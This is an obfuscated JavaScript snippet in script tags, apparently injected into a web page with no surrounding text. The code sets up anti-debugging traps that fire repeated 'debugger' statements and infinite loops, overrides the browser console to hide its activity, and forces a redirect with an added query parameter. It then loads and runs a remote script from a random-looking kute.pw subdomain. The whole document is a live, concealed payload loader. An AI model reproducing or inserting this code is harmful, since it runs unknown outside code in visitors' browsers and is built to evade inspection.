<script>var _0x4f01e7=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}();(function(){_0x4f01e7(this,function(){var t=new RegExp("function *\\( *\\)"),n=new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i"),r=_0x45e89b("init");t.test(r+"chain")&&n.test(r+"input")?_0x45e89b():r("0")})()})(),setInterval(function(){_0x45e89b()},4e3);var _0x3fc46b=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}(),_0x123905=_0x3fc46b(this,function(){for(var t=function(){var n;try{n=Function('return (function() {}.constructor("return this")( ));')()}catch(t){n=window}return n}(),n=t.console=t.console||{},r=["log","warn","info","error","exception","table","trace"],e=0;e<r.length;e++){var c=_0x3fc46b.constructor.prototype.bind(_0x3fc46b),o=r[e],i=n[o]||c;c.__proto__=_0x3fc46b.bind(_0x3fc46b),c.toString=i.toString.bind(i),n[o]=c}});_0x123905();var upasnwvedoftzbxcuhyaxdi="!@&sAh296C05uXUm4F3!&@yh5tBn8EVPwNQFaUzx94jGl&@";-1==window.location.href.indexOf("bbre=")&&(window.location.href=document.location.pathname+"?bbre=vOVDnRXTGApfSsQJaEzIUgKt#/ld-"+vtzobacsitwrajnq);var emfromgetnbrtoo="",GOTsxwtcYnmVyQFudKkrXhiJEMCq=document.createElement("script");function _0x45e89b(t){function n(t){if("string"==typeof t)return function(t){}.constructor("while (true) {}").apply("counter");1!==(""+t/t).length||t%20==0?function(){return!0}.constructor("debugger").call("action"):function(){return!1}.constructor("debugger").apply("stateObject"),n(++t)}try{if(t)return n;n(0)}catch(t){}}GOTsxwtcYnmVyQFudKkrXhiJEMCq.type="text/javascript",GOTsxwtcYnmVyQFudKkrXhiJEMCq.src="https://uxlyqicigtbfnzqdgxnzpjmhb.kute.pw/6661eb8cd5f389fbc891c5e0-665df4e466a2e56408f9c662.js",document.getElementsByTagName("head")[0].appendChild(GOTsxwtcYnmVyQFudKkrXhiJEMCq);</script>